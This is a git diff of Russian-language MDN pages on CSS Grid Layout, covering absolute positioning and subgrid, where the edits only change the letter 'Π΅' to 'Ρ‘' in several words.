<h2 id="Π“Ρ€ΠΈΠ΄Ρ‹_ΠΈ_Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ_ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅_элСмСнты">Π“Ρ€ΠΈΠ΄Ρ‹ ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ элСмСнты</h2>
@@ -314,7 +314,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅ΠΌΡƒ свойство position со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ relative. Если послС этого Π·Π°Π΄Π°Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΌΡƒ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π³Ρ€ΠΈΠ΄-элСмСнту <code>position:</code> <code>absolute</code>Β , Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ станСт ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π½Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ для Π΄Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта.</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ° с Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌΠΈ элСмСнтами. Π’Ρ€Π΅Ρ‚ΠΈΠΉ элСмСнт Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ Π² Π³Ρ€ΠΈΠ΄Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ привязки ΠΊ Π³Ρ€ΠΈΠ΄-линиям. Π£ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° <code>position:</code> <code>relative</code>Β , поэтому ΠΎΠ½ становится контСкстом позиционирования для нашСго Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ элСмСнта.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° с Ρ‡Π΅Ρ‚Ρ‹Ρ€ΡŒΠΌΡ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌΠΈ элСмСнтами. Π’Ρ€Π΅Ρ‚ΠΈΠΉ элСмСнт Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π³Ρ€ΠΈΠ΄Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ привязки ΠΊ Π³Ρ€ΠΈΠ΄-линиям. Π£ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° <code>position:</code> <code>relative</code>Β , поэтому ΠΎΠ½ становится контСкстом позиционирования для нашСго Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ элСмСнта.</p>
<div class="hidden">
<pre class="brush: css notranslate">* {box-sizing: border-box;}
@@ -340,7 +340,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
&lt;div class="box2"&gt;Two&lt;/div&gt;
&lt;div class="box3"&gt;
Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½.
-Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ являСтся ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π½Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ, поэтому значСния сдвига Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ³ΠΎ позиционирования ΠΎΡ‚ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚ внСшнСго края Ρ‚ΠΎΠΉ области, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ элСмСнт.
+Π’ нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π³Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ являСтся ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π½Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ, поэтому значСния сдвига Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ³ΠΎ позиционирования ΠΎΡ‚ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚ внСшнСго края Ρ‚ΠΎΠΉ области, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ элСмСнт.
&lt;/div&gt;
&lt;div class="box4"&gt;Four&lt;/div&gt;
&lt;/div&gt;
@@ -372,17 +372,17 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<h3 id="Π“Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€_Π²_качСствС_Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ_элСмСнта">Π“Ρ€ΠΈΠ΄-ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π² качСствС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта</h3>
-<p>Если Ρƒ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта Π² качСствС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выступаСт Π³Ρ€ΠΈΠ΄, Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΠΉ Π½ΠΎΠ²Ρ‹ΠΉ контСкст позиционирования, наш элСмСнт Ρ‚Π°ΠΊΠΆΠ΅ вытаскиваСтся ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΊΠ°ΠΊ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Но Π² этом случаС контСкстом позиционирования Π±ΡƒΠ΄Π΅Ρ‚ любой элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠ°ΠΊ Ρ€Π°Π· ΠΈ создаСт этот контСкст позиционирования. Π‘Π»ΠΎΠ²ΠΎΠΌ, Ссли Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΡƒΠ±Π΅Ρ€Π΅ΠΌΒ <code>position:</code> <code>relative</code>Β ΠΈΠ· Π±Π»ΠΎΠΊΠ°-ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ, контСкстом позиционирования станСт ΠΎΠ±Π»Π°ΡΡ‚ΡŒ просмотра, Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π²ΠΈΠ΄Π½ΠΎ Π½Π° рисункС Π½ΠΈΠΆΠ΅.</p>
+<p>Если Ρƒ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта Π² качСствС Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° выступаСт Π³Ρ€ΠΈΠ΄, Π½Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΠΉ Π½ΠΎΠ²Ρ‹ΠΉ контСкст позиционирования, наш элСмСнт Ρ‚Π°ΠΊΠΆΠ΅ вытаскиваСтся ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ°, ΠΊΠ°ΠΊ ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Но Π² этом случаС контСкстом позиционирования Π±ΡƒΠ΄Π΅Ρ‚ любой элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠ°ΠΊ Ρ€Π°Π· ΠΈ создаёт этот контСкст позиционирования. Π‘Π»ΠΎΠ²ΠΎΠΌ, Ссли Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΡƒΠ±Π΅Ρ€Ρ‘ΠΌΒ <code>position:</code> <code>relative</code>Β ΠΈΠ· Π±Π»ΠΎΠΊΠ°-ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ, контСкстом позиционирования станСт ΠΎΠ±Π»Π°ΡΡ‚ΡŒ просмотра, Ρ‡Ρ‚ΠΎ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Π²ΠΈΠ΄Π½ΠΎ Π½Π° рисункС Π½ΠΈΠΆΠ΅.</p>
<p><img alt="Image of grid container as parent" src="https://mdn.mozillademos.org/files/14661/2_abspos_example.png" style="height: 408px; width: 1702px;"></p>
-<p>Π•Ρ‰Π΅ Ρ€Π°Π·: наш элСмСнт большС Π½Π΅ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ пространство Π² Π³Ρ€ΠΈΠ΄-ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ ΠΈ Π½Π΅ влияСт Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΠΏΡ€ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ.</p>
+<p>Π•Ρ‰Ρ‘ Ρ€Π°Π·: наш элСмСнт большС Π½Π΅ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ пространство Π² Π³Ρ€ΠΈΠ΄-ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ ΠΈ Π½Π΅ влияСт Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты ΠΏΡ€ΠΈ Π°Π²Ρ‚ΠΎΡ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ.</p>
<h3 id="А_Ρ‡Ρ‚ΠΎ_Ссли_Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ_элСмСнт_-_это_Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ">А Ρ‡Ρ‚ΠΎ Ссли Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт - это Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ?</h3>
<p>Если Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт находится Π² Π³Ρ€ΠΈΠ΄-области, Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ контСкст позиционирования ΠΈΠ· этой области. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Ρƒ нас Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π³Ρ€ΠΈΠ΄-ΠΌΠ°ΠΊΠ΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅, Π½ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ размСстили элСмСнт Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>.box3</code>Β .</p>
-<p>Π—Π°Π΄Π°Π΅ΠΌ <code>.box3</code> свойство position Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ relative ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌ наш ΠΏΠΎΠ΄-элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств сдвига. Β Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС контСкстом позиционирования являСтся Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.</p>
+<p>Π—Π°Π΄Π°Ρ‘ΠΌ <code>.box3</code> свойство position Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ relative ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌ наш ΠΏΠΎΠ΄-элСмСнт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств сдвига. Β Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС контСкстом позиционирования являСтся Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ.</p>
<div class="hidden">
<pre class="brush: css notranslate">* {box-sizing: border-box;}
@@ -408,7 +408,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
&lt;div class="box2"&gt;Two&lt;/div&gt;
&lt;div class="box3"&gt;Three
&lt;div class="abspos"&gt;
- Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ контСкстом позиционирования являСтся Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, поэтому значСния сдвига ΠΎΡ‚ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚ Π²Π½Π΅ΡˆΠ½ΠΈΡ… ΠΊΡ€Π°Π΅Π² Π³Ρ€ΠΈΠ΄-области.
+ Π­Ρ‚ΠΎΡ‚ Π±Π»ΠΎΠΊ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ контСкстом позиционирования являСтся Π³Ρ€ΠΈΠ΄-ΠΎΠ±Π»Π°ΡΡ‚ΡŒ, поэтому значСния сдвига ΠΎΡ‚ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°ΡŽΡ‚ΡΡ ΠΎΡ‚ Π²Π½Π΅ΡˆΠ½ΠΈΡ… ΠΊΡ€Π°Ρ‘Π² Π³Ρ€ΠΈΠ΄-области.
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="box4"&gt;Four&lt;/div&gt;
@@ -449,7 +449,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout
<p>β€œΠ‘Π°ΠΌ элСмСнт Π½Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π±Π»ΠΎΠΊΠΎΠ² (боксов), Π½ΠΎ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты ΠΈ Π΅Π³ΠΎ псСвдо-элСмСнты ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ Π±Π»ΠΎΠΊΠΈ, Π² установлСнном порядкС.Β ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΒ Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ΠΈ позиционирования Π±Π»ΠΎΠΊΠΎΠ² элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΎΡΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ замСщался своими Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌΠΈ элСмСнтами ΠΈ псСвдо-элСмСнтами Π² Π΄Π΅Ρ€Π΅Π²Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.”</p>
</blockquote>
-<p>Если Π’Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ для элСмСнта  <code>display:</code> <code>contents</code>Β , Π±Π»ΠΎΠΊ (бокс), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π² Π΄Π΅Ρ€Π΅Π²Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° исчСзаСт, Π° Π²ΠΎΡ‚ Π±Π»ΠΎΠΊΠΈ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΈ Π΅Π³ΠΎ псСвдо-элСмСнтов пСрСходят Π½Π° ΠΎΠ΄ΠΈΠ½ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π²Π²Π΅Ρ€Ρ…. А Π·Π½Π°Ρ‡ΠΈΡ‚ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π³Ρ€ΠΈΠ΄-элСмСнта ΠΌΠΎΠ³ΡƒΡ‚ сами ΡΡ‚Π°Ρ‚ΡŒ Π³Ρ€ΠΈΠ΄-элСмСнтами. Π—Π²ΡƒΡ‡ΠΈΡ‚ нСпонятно? Π”Π°Π²Π°ΠΉΡ‚Π΅ разбСрСмся Π½Π° простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Π’ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π½ΠΈΠΆΠ΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π³Ρ€ΠΈΠ΄. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт этого Π³Ρ€ΠΈΠ΄Π° настроСн Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ всС Ρ‚Ρ€ΠΈ Ρ‚Ρ€Π΅ΠΊΠ°-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ. Π£ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнта. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ элСмСнты Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прямыми ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ Π³Ρ€ΠΈΠ΄Π°, ΠΎΠ½ΠΈ Π½Π΅ становятся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π³Ρ€ΠΈΠ΄-ΠΌΠ°ΠΊΠ΅Ρ‚Π° ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ.</p>
+<p>Если Π’Ρ‹ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ для элСмСнта  <code>display:</code> <code>contents</code>Β , Π±Π»ΠΎΠΊ (бокс), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π² Π΄Π΅Ρ€Π΅Π²Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° исчСзаСт, Π° Π²ΠΎΡ‚ Π±Π»ΠΎΠΊΠΈ Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов ΠΈ Π΅Π³ΠΎ псСвдо-элСмСнтов пСрСходят Π½Π° ΠΎΠ΄ΠΈΠ½ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π²Π²Π΅Ρ€Ρ…. А Π·Π½Π°Ρ‡ΠΈΡ‚ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты Π³Ρ€ΠΈΠ΄-элСмСнта ΠΌΠΎΠ³ΡƒΡ‚ сами ΡΡ‚Π°Ρ‚ΡŒ Π³Ρ€ΠΈΠ΄-элСмСнтами. Π—Π²ΡƒΡ‡ΠΈΡ‚ нСпонятно? Π”Π°Π²Π°ΠΉΡ‚Π΅ разбСрёмся Π½Π° простом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅. Π’ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Π½ΠΈΠΆΠ΅ Ρƒ нас Π΅ΡΡ‚ΡŒ Π³Ρ€ΠΈΠ΄. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт этого Π³Ρ€ΠΈΠ΄Π° настроСн Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒ всС Ρ‚Ρ€ΠΈ Ρ‚Ρ€Π΅ΠΊΠ°-ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ. Π£ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… элСмСнта. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эти Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ элСмСнты Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ прямыми ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ Π³Ρ€ΠΈΠ΄Π°, ΠΎΠ½ΠΈ Π½Π΅ становятся Ρ‡Π°ΡΡ‚ΡŒΡŽ Π³Ρ€ΠΈΠ΄-ΠΌΠ°ΠΊΠ΅Ρ‚Π° ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ.</p>
<div id="Display_Contents_Before">
<div class="hidden">
diff --git a/files/ru/web/css/css_grid_layout/subgrid/index.html b/files/ru/web/css/css_grid_layout/subgrid/index.html
index d0d92dae7d..2147cfeeeb 100644
--- a/files/ru/web/css/css_grid_layout/subgrid/index.html
+++ b/files/ru/web/css/css_grid_layout/subgrid/index.html
@@ -31,7 +31,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Subgrid
<p>{{EmbedGHLiveSample("css-examples/grid/subgrid/columns.html", '100%', 1200)}}</p>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ subgrid нумСрация Π»ΠΈΠ½ΠΈΠΉ Π½Π΅ наслСдуСтся ΠΎΡ‚ родитСля, Π° начинаСтся ΠΏΠΎ Π½ΠΎΠ²ΠΎΠΉ – колоночная линия 1 Π²Π½ΡƒΡ‚Ρ€ΠΈ subgrid всСгда являСтся Π΅Π³ΠΎ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠ΅ΠΉ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ бСзопасно Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ Π² Ρ€Π°Π·Π½Ρ‹Ρ… позициях Π½Π° Π³Π»Π°Π²Π½ΠΎΠΉ сСткС, зная, Ρ‡Ρ‚ΠΎ Π½ΠΎΠΌΠ΅Ρ€Π° Π»ΠΈΠ½ΠΈΠΉ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° всСгда Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌΠΈ.</p>
